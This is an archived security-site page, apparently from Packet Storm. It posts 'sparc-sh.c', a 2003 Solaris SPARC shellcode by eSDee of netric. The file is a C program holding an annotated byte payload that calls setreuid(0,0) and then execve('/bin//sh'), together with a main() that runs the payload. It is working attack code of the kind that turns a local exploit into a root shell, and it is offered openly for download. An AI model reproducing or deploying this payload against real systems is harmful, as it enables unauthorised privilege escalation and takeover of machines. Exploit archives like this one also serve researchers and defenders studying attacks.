what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sparc-sh.c

sparc-sh.c
Posted Apr 2, 2003
Authored by eSDee, netric | Site netric.org

Solaris Sparc shellcode that sets the effective uid to 0 and executes a shell.

tags | shell, shellcode
systems | solaris
SHA-256 | b4f74f95b8bd45fe94c359024720079f6ee3e0151ca7a8a1f62db7483e21af68

sparc-sh.c

Change Mirror Download
/* Solaris sparc shellcode by eSDee of Netric (www.netric.org)
* setreuid(0,0); execve("/bin//sh", &argv[0], NULL); exit();
*/

#include <stdio.h>

char
shellcode[]=

// setreuid(0,0);

"\x90\x1d\x80\x16" // xor %l6, %l6, %o0
"\x92\x1d\x80\x16" // xor %l6, %l6, %o1
"\x82\x10\x20\xca" // mov 0xca, %g1
"\x91\xd0\x20\x08" // ta 8

// execve("/bin//sh", &argv[0], NULL);

"\x21\x0b\xd8\x9a" // sethi %hi(0x2f626800), %l0
"\xa0\x14\x21\x6e" // or %l0, 0x16e, %l0 ! 0x2f62696e
"\x23\x0b\xcb\xdc" // sethi %hi(0x2f2f7000), %l1
"\xa2\x14\x63\x68" // or %l1, 0x368, %l1 ! 0x2f2f7368
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp + -16 ]
"\xc0\x23\xbf\xf8" // clr [ %sp + -8 ]
"\x90\x23\xa0\x10" // sub %sp, 0x10, %o0
"\xc0\x23\xbf\xec" // clr [ %sp + -20 ]
"\xd0\x23\xbf\xe8" // st %o0, [ %sp + -24 ]
"\x92\x23\xa0\x18" // sub %sp, 0x18, %o1
"\x94\x22\x80\x0a" // sub %o2, %o2, %o2
"\x82\x10\x20\x3b" // mov 0x3b, %g1
"\x91\xd0\x20\x08" // ta 8

// exit()

"\x82\x10\x20\x01" // mov 1, %g1
"\x91\xd0\x20\x08"; // ta 8


int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close